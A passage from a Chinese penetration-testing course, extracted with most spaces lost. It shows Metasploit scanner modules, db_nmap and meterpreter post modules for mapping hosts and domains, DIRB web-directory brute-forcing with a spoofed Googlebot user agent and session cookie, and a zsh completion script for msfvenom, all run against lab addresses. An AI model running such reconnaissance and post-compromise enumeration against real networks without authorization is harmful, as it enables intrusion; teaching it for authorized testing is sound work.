db_nmap 1. msfauxiliary(scanner/pop3/pop3_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/pop3/pop3_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. RHOSTS192.168.1.110‐120yesThetargetaddressrangeorCIDRidentifier 8. RPORT110yesThetargetport(TCP) 9. THREADS50yesThenumberofconcurrentthreads 10. 11. msfauxiliary(scanner/pop3/pop3_version)>exploit 12. 13. [*]Scanned5of11hosts(45%complete) 14. [*]Scanned11of11hosts(100%complete) 15. [*]Auxiliarymoduleexecutioncompleted 二十一:基于auxiliary/scanner/pop3/pop3_version发现内网 存活主机 二十二:基于 auxiliary/scanner/postgres/postgres_version发现内网存 活主机 第二十七课:基于MSF发现内网存活主机第五季 -206- 本文档使用书栈(BookStack.CN)构建 1. msfauxiliary(scanner/postgres/postgres_version)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/postgres/postgres_version): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. DATABASEtemplate1yesThedatabasetoauthenticateagainst 8. PASSWORDmsfnoThepasswordforthespecifiedusername.Leaveblankfora randompassword. 9. RHOSTS127.0.0.1yesThetargetaddressrangeorCIDRidentifier 10. RPORT5432yesThetargetport 11. THREADS50yesThenumberofconcurrentthreads 12. USERNAMEmsfyesTheusernametoauthenticateas 13. VERBOSEfalsenoEnableverboseoutput 14. 15. msfauxiliary(scanner/postgres/postgres_version)>exploit 16. 17. [*]127.0.0.1:5432Postgres‐VersionPostgreSQL9.6.6onx86_64‐pc‐li 18. nux‐gnu,compiledbygcc(Debian4.9.2‐10)4.9.2,64‐bit(Post‐Auth) 19. [*]Scanned1of1hosts(100%complete) 20. [*]Auxiliarymoduleexecutioncompleted 1. msfauxiliary(scanner/ftp/anonymous)>showoptions 2. 3. Moduleoptions(auxiliary/scanner/ftp/anonymous): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 二十三:基于auxiliary/scanner/ftp/anonymous发现内网存活主 机 第二十七课:基于MSF发现内网存活主机第五季 -207- 本文档使用书栈(BookStack.CN)构建 7. FTPPASSmozilla@example.comnoThepasswordforthespecifiedusername 8. FTPUSERanonymousnoTheusernametoauthenticateas 9. RHOSTS192.168.1.100‐120yesThetargetaddressrangeorCIDRidentifier 10. RPORT21yesThetargetport(TCP) 11. THREADS50yesThenumberofconcurrentthreads 12. 13. msfauxiliary(scanner/ftp/anonymous)>exploit 14. 15. [+]192.168.1.115:21‐192.168.1.115:21‐AnonymousREAD(220SlyarFtpserver) 16. [+]192.168.1.119:21‐192.168.1.119:21‐AnonymousREAD(220FTPserver) 17. [*]Scanned3of21hosts(14%complete) 18. [*]Scanned6of21hosts(28%complete) 19. [*]Scanned17of21hosts(80%complete) 20. [*]Scanned21of21hosts(100%complete) 21. [*]Auxiliarymoduleexecutioncompleted MSF内置强大的端口扫描工具Nmap,为了更好的区别,内置命令为:db_nmap,并且会自动存储nmap 扫描结果到数据库中,方便快速查询已知存活主机,以及更快捷的进行团队协同作战,使用方法与nmap 一致。也是在实战中最常用到的发现内网存活主机方式之一。 例: 1. msfexploit(multi/handler)>db_nmap‐p445‐T4‐sT192.168.1.115‐120 2. ‐‐open 二十四:基于db_nmap发现内网存活主机 第二十七课:基于MSF发现内网存活主机第五季 -208- 本文档使用书栈(BookStack.CN)构建 3. [*]Nmap:StartingNmap7.70(https://nmap.org)at2019‐02‐1715:17EST 4. [*]Nmap:Nmapscanreportfor192.168.1.115 5. [*]Nmap:Hostisup(0.0025slatency). 6. [*]Nmap:PORTSTATESERVICE 7. [*]Nmap:445/tcpopenmicrosoft‐ds 8. [*]Nmap:MACAddress:00:0C:29:AF:CE:CC(VMware) 9. [*]Nmap:Nmapscanreportfor192.168.1.119 10. [*]Nmap:Hostisup(0.0026slatency). 11. [*]Nmap:PORTSTATESERVICE 12. [*]Nmap:445/tcpopenmicrosoft‐ds 13. [*]Nmap:MACAddress:00:0C:29:85:D6:7D(VMware) 14. [*]Nmap:Nmapdone:6IPaddresses(2hostsup)scannedin13.35seconds 命令hosts查看数据库中已发现的内网存活主机 1. msfexploit(multi/handler)>hosts 2. 3. Hosts 4. ===== 5. 6. addressmacnameos_nameos_flavoros_sppurposeinfocomments 7. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 8. 1.34.37.188firewall 9. 10.0.0.200:24:1d:dc:3b:16 10. 10.0.0.300:e0:81:bf:b9:7b 11. 10.0.0.400:30:6e:ca:10:b8 12. 10.0.0.59c:8e:99:c4:63:742013XXXXXWindows2008SP1client 13. ... 14. 10.0.0.24200:13:57:01:d4:71 15. 10.0.0.24300:13:57:01:d4:73 16. .... 第二十七课:基于MSF发现内网存活主机第五季 -209- 本文档使用书栈(BookStack.CN)构建 17. 10.162.110.30firewall 18. 59.125.110.178firewall 19. 127.0.0.1Unknowndevice 20. 172.16.204.8WIN‐6FEAACQJ691Windows2012server 21. 172.16.204.9WIN‐6FEAACQJ691Windows2012server 22. 172.16.204.21IDSWindows2003SP2server 23. 192.168.1.5JOHN‐PCWindows7SP1client 24. 192.168.1.101JOHN‐PCWindows7UltimateSP1client 25. 192.168.1.103LAPTOP‐9994K8RPWindows10client 26. 192.168.1.11500:0c:29:af:ce:ccVM_2003X86Windows2003SP2server 27. 192.168.1.116WIN‐S4H51RDJQ3MWindows2012server 28. 192.168.1.11900:0c:29:85:d6:7dWIN03X64Windows2003SP2server 29. 192.168.1.254Unknowndevice 30. 192.168.50.30WINDOWS‐G4MMTV8Windows7SP1client 31. 192.168.100.2Unknowndevice 32. 192.168.100.10 同样hosts命令也支持数据库中查询与搜索,方便快速对应目标存活主机。 1. msfexploit(multi/handler)>hosts‐h 2. Usage:hosts[options][addr1addr2...] 3. 4. OPTIONS: 5. ‐a,‐‐addAddthehostsinsteadofsearching 6. ‐d,‐‐deleteDeletethehostsinsteadofsearching 7. ‐c<col1,col2>Onlyshowthegivencolumns(seelistbelow) 8. ‐C<col1,col2>Onlyshowthegivencolumnsuntilthenextrestart(seelist below) 9. ‐h,‐‐helpShowthishelpinformation 10. ‐u,‐‐upOnlyshowhostswhichareup 11. ‐o<file>Sendoutputtoafileincsvformat 12. ‐O<column>Orderrowsbyspecifiedcolumnnumber 13. ‐R,‐‐rhostsSetRHOSTSfromtheresultsofthesearch 14. ‐S,‐‐searchSearchstringtofilterby 15. ‐i,‐‐infoChangetheinfoofahost 16. ‐n,‐‐nameChangethenameofahost 17. ‐m,‐‐commentChangethecommentofahost 18. ‐t,‐‐tagAddorspecifyatagtoarangeofhosts 第二十七课:基于MSF发现内网存活主机第五季 -210- 本文档使用书栈(BookStack.CN)构建 1. msfexploit(multi/handler)>hosts‐S192 2. 3. Hosts 4. ===== 5. 6. addressmacnameos_nameos_flavoros_sppurposeinfocomments 7. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 8. 192.168.1.5JOHN‐PCWindows7SP1client 9. 192.168.1.101JOHN‐PCWindows7UltimateSP1client 10. 192.168.1.103LAPTOP‐9994K8RPWindows10client 11. 192.168.1.11500:0c:29:af:ce:ccVM_2003X86Windows2003SP2server 12. 192.168.1.116WIN‐S4H51RDJQ3MWindows2012server 13. 192.168.1.11900:0c:29:85:d6:7dWIN03X64Windows2003SP2server 14. 192.168.1.254Unknowndevice 15. 192.168.50.30WINDOWS‐G4MMTV8Windows7SP1client 16. 192.168.100.2Unknowndevice 17. 192.168.100.10 第二十七课:基于MSF发现内网存活主机第五季 -211- 本文档使用书栈(BookStack.CN)构建 Micropoor 第二十七课:基于MSF发现内网存活主机第五季 -212- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。如有肾囊肿,请定期检查肾囊肿的大小变化。 攻击机: 192.168.1.102Debian 靶机: 192.168.1.2Windows7 192.168.1.115Windows2003 192.168.1.119Windows2003 第一季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_sweep auxiliary/scanner/ftp/ftp_version auxiliary/scanner/http/http_version auxiliary/scanner/smb/smb_version 第二季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/ssh/ssh_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/discovery/udp_probe auxiliary/scanner/dns/dns_amp auxiliary/scanner/mysql/mysql_version 第三季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/netbios/nbname auxiliary/scanner/http/title auxiliary/scanner/db2/db2_version auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/tcp 第四季主要介绍scanner下的五个模块,辅助发现内网存活主机,分别为: auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/ftpbounce auxiliary/scanner/portscan/xmas auxiliary/scanner/rdp/rdp_scanner auxiliary/scanner/smtp/smtp_version 第五季主要介绍scanner下的三个模块,以及db_nmap辅助发现内网存活主机,分别为: 第二十八课:基于MSF发现内网存活主机第六季 -213- 本文档使用书栈(BookStack.CN)构建 auxiliary/scanner/pop3/pop3_version auxiliary/scanner/postgres/postgres_version auxiliary/scanner/ftp/anonymous db_nmap 第六季主要介绍post下的六个模块,辅助发现内网存活主机,分别为: windows/gather/arp_scanner windows/gather/enum_ad_computers windows/gather/enum_computers windows/gather/enum_domain windows/gather/enum_domains windows/gather/enum_ad_user_comments 在实战过程中,许多特殊环境下scanner,db_nmap不能快速符合实战渗透诉求,尤其在域中的主机存 活发现,而post下的模块,弥补了该诉求,以便快速了解域中存活主机。 1. meterpreter>runwindows/gather/arp_scannerRHOSTS=192.168.1.110‐120 THREADS=20 2. 3. [*]RunningmoduleagainstVM_2003X86 4. [*]ARPScanning192.168.1.110‐120 5. [+]IP:192.168.1.115MAC00:0c:29:af:ce:cc(VMware,Inc.) 6. [+]IP:192.168.1.119MAC00:0c:29:85:d6:7d(VMware,Inc.) 1. meterpreter>runwindows/gather/enum_ad_computers 二十五:基于windows/gather/arp_scanner发现内网存活主机 二十六:基于windows/gather/enum_ad_computers发现域中存活 主机 第二十八课:基于MSF发现内网存活主机第六季 -214- 本文档使用书栈(BookStack.CN)构建 1. meterpreter>runwindows/gather/enum_computers 2. 3. [*]RunningmoduleagainstVM_2003X86 4. [‐]Thishostisnotpartofadomain. 1. meterpreter>runwindows/gather/enum_domain 1. meterpreter>runwindows/gather/enum_domains 2. 3. [*]EnumeratingDCsforWORKGROUP 4. [‐]NoDomainControllersfound... 1. meterpreter>runwindows/gather/enum_ad_user_comments 二十七:基于windows/gather/enum_computers发现域中存活主机 二十八:基于windows/gather/enum_domain发现域中存活主机 二十九:基于windows/gather/enum_domains发现域中存活主机 三十:基于windows/gather/enum_ad_user_comments发现域中存 活主机 第二十八课:基于MSF发现内网存活主机第六季 -215- 本文档使用书栈(BookStack.CN)构建 POST下相关模块如:(列举)不一一介绍 linux/gather/enum_network linux/busybox/enum_hosts windows/gather/enum_ad_users windows/gather/enum_domain_tokens windows/gather/enum_snmp 至此,MSF发现内网存活主机主要模块介绍与使用完毕。 Micropoor 第二十八课:基于MSF发现内网存活主机第六季 -216- 本文档使用书栈(BookStack.CN)构建 DIRB官方地址: http://dirb.sourceforge.net/ DIRBisaWebContentScanner.Itlooksforexisting(and/orhidden)WebObjects. Itbasicallyworksbylaunchingadictionarybasedattackagainstawebserverand analizingtheresponse. DIRB是一个基于命令行的工具,依据字典来爆破目标Web路径以及敏感文件,它支持自定义UA, cookie,忽略指定响应吗,支持代理扫描,自定义毫秒延迟,证书加载扫描等。是一款非常优秀的全 方位的目录扫描工具。同样Kaili内置了dirb。 攻击机: 192.168.1.104Debian 靶机: 192.168.1.102Windows2003IIS 1. root@John:~/wordlist/small#dirbhttp://192.168.1.102./ASPX.txt 简介(摘自官方原文): 介绍: 普通爆破: 第二十九课:发现目标WEB程序敏感目录第一季 -217- 本文档使用书栈(BookStack.CN)构建 2. 3. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 4. DIRBv2.22 5. ByTheDarkRaver 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. START_TIME:SunFeb1723:26:522019 9. URL_BASE:http://192.168.1.102/ 10. WORDLIST_FILES:./ASPX.txt 11. 12. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 13. 14. GENERATEDWORDS:822 15. 16. ‐‐‐‐ScanningURL:http://192.168.1.102/‐‐‐‐ 17. +http://192.168.1.102//Index.aspx(CODE:200|SIZE:2749) 18. +http://192.168.1.102//Manage/Default.aspx(CODE:302|SIZE:203) 19. 20. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 21. END_TIME:SunFeb1723:26:562019 22. DOWNLOADED:822‐FOUND:2 多字典挂载: 第二十九课:发现目标WEB程序敏感目录第一季 -218- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/wordlist/small#dirbhttp://192.168.1.102./ASPX.txt,./DIR.txt 2. 3. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 4. DIRBv2.22 5. ByTheDarkRaver 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. START_TIME:SunFeb1723:31:022019 9. URL_BASE:http://192.168.1.102/ 10. WORDLIST_FILES:./ASPX.txt,./DIR.txt 11. 12. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 13. 14. GENERATEDWORDS:1975 15. 16. ‐‐‐‐ScanningURL:http://192.168.1.102/‐‐‐‐ 17. +http://192.168.1.102//Index.aspx(CODE:200|SIZE:2749) 18. +http://192.168.1.102//Manage/Default.aspx(CODE:302|SIZE:203) 19. +http://192.168.1.102//bbs(CODE:301|SIZE:148) 20. +http://192.168.1.102//manage(CODE:301|SIZE:151) 21. +http://192.168.1.102//manage/(CODE:302|SIZE:203) 22. +http://192.168.1.102//kindeditor/(CODE:403|SIZE:218) 23. +http://192.168.1.102//robots.txt(CODE:200|SIZE:214) 24. +http://192.168.1.102//Web.config(CODE:302|SIZE:130) 25. +http://192.168.1.102//files(CODE:301|SIZE:150) 26. +http://192.168.1.102//install(CODE:301|SIZE:152) 27. 28. (!)FATAL:Toomanyerrorsconnectingtohost 29. (Possiblecause:EMPTYREPLYFROMSERVER) 30. 31. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 32. END_TIME:SunFeb1723:31:062019 33. DOWNLOADED:1495‐FOUND:10 第二十九课:发现目标WEB程序敏感目录第一季 -219- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/wordlist/small#dirbhttp://192.168.1.102./ASPX.txt‐a"M 2. ozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html)" 3. 4. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 5. DIRBv2.22 6. ByTheDarkRaver 7. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 8. 9. START_TIME:SunFeb1723:34:512019 10. URL_BASE:http://192.168.1.102/ 11. WORDLIST_FILES:./ASPX.txt 12. USER_AGENT:Mozilla/5.0(compatible;Googlebot/2.1; +http://www.google.com/bot.html) 13. 自定义UA: 第二十九课:发现目标WEB程序敏感目录第一季 -220- 本文档使用书栈(BookStack.CN)构建 14. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 15. 16. GENERATEDWORDS:822 17. 18. ‐‐‐‐ScanningURL:http://192.168.1.102/‐‐‐‐ 19. +http://192.168.1.102//Index.aspx(CODE:200|SIZE:2735) 20. +http://192.168.1.102//Manage/Default.aspx(CODE:302|SIZE:203) 21. 22. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 23. END_TIME:SunFeb1723:34:542019 24. DOWNLOADED:822‐FOUND:2 1. root@John:~/wordlist/small#dirbhttp://192.168.1.102/Manage./DIR.txt 2. ‐a"Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.ht 3. ml)"‐c"ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45" 4. 5. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 6. DIRBv2.22 7. ByTheDarkRaver 8. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 9. 10. START_TIME:SunFeb1723:53:082019 11. URL_BASE:http://192.168.1.102/Manage/ 12. WORDLIST_FILES:./DIR.txt 13. USER_AGENT:Mozilla/5.0(compatible;Googlebot/2.1;+http://www.googl 14. e.com/bot.html) 15. COOKIE:ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45 16. 自定义cookie: 第二十九课:发现目标WEB程序敏感目录第一季 -221- 本文档使用书栈(BookStack.CN)构建 17. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 18. 19. GENERATEDWORDS:1153 20. 21. ‐‐‐‐ScanningURL:http://192.168.1.102/Manage/‐‐‐‐ 22. +http://192.168.1.102/Manage//include/(CODE:403|SIZE:218) 23. +http://192.168.1.102/Manage//news/(CODE:403|SIZE:218) 24. +http://192.168.1.102/Manage//include(CODE:301|SIZE:159) 25. +http://192.168.1.102/Manage//images/(CODE:403|SIZE:218) 26. +http://192.168.1.102/Manage//sys/(CODE:403|SIZE:218) 27. +http://192.168.1.102/Manage//images(CODE:301|SIZE:158) 28. 29. (!)FATAL:Toomanyerrorsconnectingtohost 30. (Possiblecause:EMPTYREPLYFROMSERVER) 31. 32. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 33. END_TIME:SunFeb1723:53:102019 34. DOWNLOADED:673‐FOUND:6 1. root@John:~/wordlist/small#dirbhttp://192.168.1.102/Manage./DIR.txt 2. ‐a"Mozilla/5.0(compatible;Googlebot/2.1;+http://www.google.com/bot.ht 3. ml)"‐c"ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45"‐z100 4. 5. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 6. DIRBv2.22 7. ByTheDarkRaver 8. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 9. 10. START_TIME:SunFeb1723:54:292019 11. URL_BASE:http://192.168.1.102/Manage/ 12. WORDLIST_FILES:./DIR.txt 13. USER_AGENT:Mozilla/5.0(compatible;Googlebot/2.1;+http://www.googl 14. e.com/bot.html) 15. COOKIE:ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45 16. SPEED_DELAY:100milliseconds 17. 18. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 19. 20. GENERATEDWORDS:1153 21. 自定义毫秒延迟: 第二十九课:发现目标WEB程序敏感目录第一季 -222- 本文档使用书栈(BookStack.CN)构建 22. ‐‐‐‐ScanningURL:http://192.168.1.102/Manage/‐‐‐‐ 23. +http://192.168.1.102/Manage//include/(CODE:403|SIZE:218) 24. +http://192.168.1.102/Manage//news/(CODE:403|SIZE:218) 25. +http://192.168.1.102/Manage//include(CODE:301|SIZE:159) 26. +http://192.168.1.102/Manage//images/(CODE:403|SIZE:218) 27. +http://192.168.1.102/Manage//sys/(CODE:403|SIZE:218) 28. +http://192.168.1.102/Manage//images(CODE:301|SIZE:158) 29. 30. (!)FATAL:Toomanyerrorsconnectingtohost 31. (Possiblecause:EMPTYREPLYFROMSERVER) 32. 33. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 34. END_TIME:SunFeb1723:55:502019 35. DOWNLOADED:673‐FOUND:6 1. DIRBv2.22 2. ByTheDarkRaver 3. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 4. 5. dirb<url_base>[<wordlist_file(s)>][options] 6. 7. =========================NOTES========================= 8. <url_base>:BaseURLtoscan.(Use‐resumeforsessionresuming) 9. <wordlist_file(s)>:Listofwordfiles.(wordfile1,wordfile2,wordfile3...) 10. 11. ========================HOTKEYS======================== 其他更多有趣的功能: 第二十九课:发现目标WEB程序敏感目录第一季 -223- 本文档使用书栈(BookStack.CN)构建 12. 'n'‐>Gotonextdirectory. 13. 'q'‐>Stopscan.(Savingstateforresume) 14. 'r'‐>Remainingscanstats. 15. 16. ========================OPTIONS======================== 17. ‐a<agent_string>:SpecifyyourcustomUSER_AGENT. 18. ‐b:Usepathasis. 19. ‐c<cookie_string>:SetacookiefortheHTTPrequest. 20. ‐E<certificate>:pathtotheclientcertificate. 21. ‐f:FinetunningofNOT_FOUND(404)detection. 22. ‐H<header_string>:AddacustomheadertotheHTTPrequest. 23. ‐i:Usecase‐insensitivesearch. 24. ‐l:Print"Location"headerwhenfound. 25. ‐N<nf_code>:IgnoreresponseswiththisHTTPcode. 26. ‐o<output_file>:Saveoutputtodisk. 27. ‐p<proxy[:port]>:Usethisproxy.(Defaultportis1080) 28. ‐P<proxy_username:proxy_password>:ProxyAuthentication. 29. ‐r:Don'tsearchrecursively. 30. ‐R:Interactiverecursion.(Asksforeachdirectory) 31. ‐S:SilentMode.Don'tshowtestedwords.(Fordumbterminals) 32. ‐t:Don'tforceanending'/'onURLs. 33. ‐u<username:password>:HTTPAuthentication. 34. ‐v:ShowalsoNOT_FOUNDpages. 35. ‐w:Don'tstoponWARNINGmessages. 36. ‐X<extensions>/‐x<exts_file>:Appendeachwordwiththisextensions. 37. ‐z<millisecs>:AddamillisecondsdelaytonotcauseexcessiveFlood. 38. 39. ========================EXAMPLES======================= 40. dirbhttp://url/directory/(SimpleTest) 41. dirbhttp://url/‐X.html(Testfileswith'.html'extension) 42. dirbhttp://url//usr/share/dirb/wordlists/vulns/apache.txt(Testwit hapache.txtwordlist) 43. dirbhttps://secure_url/(SimpleTestwithSSL) 第二十九课:发现目标WEB程序敏感目录第一季 -224- 本文档使用书栈(BookStack.CN)构建 Micropoor 第二十九课:发现目标WEB程序敏感目录第一季 -225- 本文档使用书栈(BookStack.CN)构建 本课是针对前第1-20课时的msfvenom生成payload的自动补全命令补充。虽msfvenom强大,同样有 着非常繁琐的参数,参数强大,意味着会增加工作效率,但它并不像MSF有命令补全功能,故本课吸取 前20课经验,自动补全msfvenom的参数。 1. root@John:~#cat/etc/shells 2. #/etc/shells:validloginshells 3. /bin/sh 4. /bin/dash 5. /bin/bash 6. /bin/rbash 7. /usr/bin/screen 8. /bin/zsh 9. /usr/bin/zsh 10. /usr/bin/tmux 11. root@John:~#echo$SHELL 12. /bin/bash 复制附录A到~/.oh-my-zsh/custom/plugins/msfvenom文件夹下(注:没有msfvenom目录,创 建即可) 需要zsh的支持: 第三十课:解决msfvenom命令自动补全 -226- 本文档使用书栈(BookStack.CN)构建 1. root@John:~/.oh‐my‐zsh/custom/plugins/msfvenom#pwd 2. /root/.oh‐my‐zsh/custom/plugins/msfvenom 3. root@John:~/.oh‐my‐zsh/custom/plugins/msfvenom#ls 4. _msfvenom 编辑~/.zshrc文件: 1. root@John:~#nano~/.zshrc 1. root@John:~#nano~/.zshrc 2. root@John:~#cat~/.zshrc 3. plugins=(msfvenom) 更新: 1. root@John:~#source~/.zshrc 第三十课:解决msfvenom命令自动补全 -227- 本文档使用书栈(BookStack.CN)构建 效果如下: 1. #compdefmsfvenom 2. #autoload 3. # 4. #zshcompletionformsfvenominMetasploitFrameworkProject (https://www.metasploit.com) 5. # 6. #github:https://github.com/Green‐m/msfvenom‐zsh‐completion 7. # 8. #author:Green‐m(greenm.xxoo@gmail.com) 9. # 10. #license:GNUGeneralPublicLicensev3.0 11. # 12. #Copyright(c)2018,Green‐m 13. #Allrightsreserved. 14. # 15. 16. VENOM_CACHE_FILE=~/.zsh/venom‐cache 17. 18. venom‐clear‐cache(){ 19. rm$VENOM_CACHE_FILE 20. } 21. 22. venom‐cache‐payloads(){ 附录A: 第三十课:解决msfvenom命令自动补全 -228- 本文档使用书栈(BookStack.CN)构建 23. 24. if[‐x"$(command‐vmsfvenom)"] 25. then 26. VENOM="msfvenom" 27. elif[‐n"$_comp_command1"] 28. then 29. VENOM=$_comp_command1 30. else 31. echo"Coundnotfindmsfvenompathinsystemenv,pleaserunmsfvenomwith path." 32. fi 33. 34. if[[!‐d${VENOM_CACHE_FILE:h}]];then 35. mkdir‐p${VENOM_CACHE_FILE:h} 36. fi 37. 38. if[[!‐f$VENOM_CACHE_FILE]];then 39. echo‐n"(...cachingMetasploitPayloads...)" 40. $VENOM‐‐listpayload|grep‐e"^.*\/"|awk'{print$1}'>> 41. $VENOM_CACHE_FILE 42. fi 43. } 44. 45. _msfvenom(){ 46. 47. localcurcontext="$curcontext"stateline 48. typeset‐Aopt_args 49. 50. _arguments‐C\ 51. '(‐h‐‐help)'{‐h,‐‐help}'[showhelp]'\ 52. '(‐l‐‐list)'{‐l,‐‐list}'[Listallmodulesfortype.Typesare:paylo 53. ads,encoders,nops,platforms,archs,encrypt,formats,all]'\ 54. '(‐p‐‐payload)'{‐p,‐‐payload}'[Payloadtouse(‐‐listpayloadstolist, 55. ‐‐list‐optionsforarguments).Specify‐orSTDINforcustom]'\ 56. '(‐‐list‐options)‐‐list‐options[List‐‐payload<value>standard,adva 57. ncedandevasionoptions]'\ 58. '(‐f‐‐format)'{‐f,‐‐format}'[Outputformat(use‐‐listformatstoli 59. st)]'\ 60. '(‐e‐‐encoder)'{‐e,‐‐encoder}'[Theencodertouse(use‐‐listencoders 61. tolist)]'\ 62. '(‐‐smallest)‐‐smallest[Generatethesmallestpossiblepayloadusingall 63. availableencoders]'\ 第三十课:解决msfvenom命令自动补全 -229- 本文档使用书栈(BookStack.CN)构建 64. '(‐‐encrypt)‐‐encrypt[Thetypeofencryptionorencodingtoapplytothe 65. shellcode(use‐‐listencrypttolist)]'\ 66. '(‐‐encrypt‐key)‐‐encrypt‐key[Akeytobeusedfor‐‐encrypt]'\ 67. '(‐‐encrypt‐iv)‐‐encrypt‐iv[Aninitializationvectorfor‐‐encrypt]'\ 68. '(‐a‐‐arch)'{‐a,‐‐arch}'[thearchitecturetousefor‐‐payloadand‐ 69. ‐encoders(use‐‐listarchstolist)]'\ 70. '(‐‐platform)‐‐platform[Theplatformfor‐‐payload(use‐‐listplatforms 71. tolist)]'\ 72. '(‐o‐‐out)'{‐o,‐‐out}'[Savethepayloadtoafile]'\ 73. '(‐b‐‐bad‐chars)'{‐b,‐‐bad‐chars}'[Characterstoavoidexample:"\x0 74. 0\xff"]'\ 75. '(‐n‐‐nopsled)'{‐n,‐‐nopsled}'[Prependanopsledof\[length\]sizeon 76. tothepayload]'\ 77. '(‐‐encoder‐space)‐‐encoder‐space[Themaximumsizeoftheencodedpay 78. load(defaultstothe‐svalue)]'\ 79. '(‐i‐‐iterations)'{‐i,‐‐iterations}'[Thenumberoftimestoencodethe 80. payload]'\ 81. '(‐c‐‐add‐code)'{‐c,‐‐add‐code}'[Specifyanadditionalwin32shellcode 82. filetoinclude]'\ 83. '(‐x‐‐template)'{‐x,‐‐template}'[Specifyacustomexecutablefiletouse 84. asatemplate]'\ 85. '(‐k‐‐keep)'{‐k,‐‐keep}'[Preservethe‐‐templatebehaviourandinject 86. thepayloadasanewthread]'\ 87. '(‐v‐‐var‐name)'{‐v,‐‐var‐name}'[Specifyacustomvariablenametouse 88. forcertainoutputformats]'\ 89. '(‐t‐‐timeout)'{‐t,‐‐timeout}'[Thenumberofsecondstowaitwhenre 90. adingthepayloadfromSTDIN(default30,0todisable)]'\ 91. '*::($(__msfvenom_options))'&&ret=0 92. 93. lastword=${words[${#words[@]}‐1]} 94. 95. case"$lastword"in 96. (‐p|‐‐payload) 97. _values'payload'$(__msfvenom_payloads) 98. ;; 99. 100. (‐l|‐‐list) 101. locallists=('payloads''encoders''nops''platforms''archs''encrypt' 102. 'formats''all') 103. 104. _values'list'$lists 105. ;; 第三十课:解决msfvenom命令自动补全 -230- 本文档使用书栈(BookStack.CN)构建 106. 107. (‐encrypt) 108. localencrypts=('aes256''base64''rc4''xor') 109. _values'encrypt'$encrypts 110. ;; 111. 112. (‐a|‐‐arch) 113. _values'arch'$(__msfvenom_archs) 114. ;; 115. 116. (‐platform) 117. _values'platform'$(__msfvenom_platforms) 118. ;; 119. 120. (‐f|‐‐format) 121. _values'format'$(__msfvenom_formats) 122. ;; 123. 124. (‐e|‐‐encoder) 125. _values'encoder'$(__msfvenom_encoders) 126. ;; 127. 128. (‐o|‐‐out|‐x|‐‐template|‐c|‐‐add‐code) 129. _files 130. ;; 131. 132. (*) 133. 134. ;; 135. 136. esac 137. } 138. 139. __msfvenom_payloads(){ 140. localmsf_payloads 141. 142. #wecachethelistofpackages(originallyfromthemacportsplugin) 143. venom‐cache‐payloads 144. msf_payloads=`cat$VENOM_CACHE_FILE` 145. 146. forlinein$msf_payloads;do 147. echo"$line" 第三十课:解决msfvenom命令自动补全 -231- 本文档使用书栈(BookStack.CN)构建 148. done 149. } 150. 151. __msfvenom_archs(){ 152. localarchs 153. archs=( 154. 'aarch64' 155. 'armbe' 156. 'armle' 157. 'cbea' 158. 'cbea64' 159. 'cmd' 160. 'dalvik' 161. 'firefox' 162. 'java' 163. 'mips' 164. 'mips64' 165. 'mips64le' 166. 'mipsbe' 167. 'mipsle' 168. 'nodejs' 169. 'php' 170. 'ppc' 